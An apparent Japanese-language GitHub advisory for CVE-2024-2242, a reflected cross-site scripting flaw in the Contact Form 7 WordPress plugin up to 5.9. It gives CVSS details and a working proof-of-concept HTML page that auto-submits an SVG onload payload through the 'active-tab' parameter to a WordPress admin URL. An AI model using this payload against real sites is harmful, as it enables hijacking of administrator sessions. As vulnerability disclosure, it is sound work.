randomrobbiebf/cve-2024-2242Contact Form 7 <= 5.9 - 反射型クロスサイトスクリプティング
Contact Form 7 <= 5.9 - 反映型クロスサイトスクリプティング
WordPress 用 Contact Form 7 プラグインは、入力サニタイズと出力エスケープが不十分であるため、5.9 までの全バージョンにおいて、'active-tab' パラメータを介した反映型クロスサイトスクリプティングに対して脆弱です。これにより、認証されていない攻撃者が、リンクのクリックなどの操作をユーザーに実行させることに成功した場合に実行される任意のウェブスクリプトを、ページに注入することが可能になります。
CVSS: 6.1
Impact: 2.7
Vector: network
User Interaction: required
Privileges Required: none
Published: 2024-03-13
Updated: 2024-03-13
フォームが配置されている投稿 ID の値を知っておく必要があります。そうでない場合、管理者がリンクをクリックしても機能しません。 全体として、管理者にリンクをクリックしてもらう必要があるため、必要な権限は H（高）とすべきです。
<html>
<body>
<form action="http://kubernetes.docker.internal/wp-admin/admin.php">
<input type="hidden" name="page" value="wpcf7" />
<input type="hidden" name="post" value="4478" />
<input type="hidden" name="active-tab" value="'"><svg/onload=prompt(7);>{{7*7}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>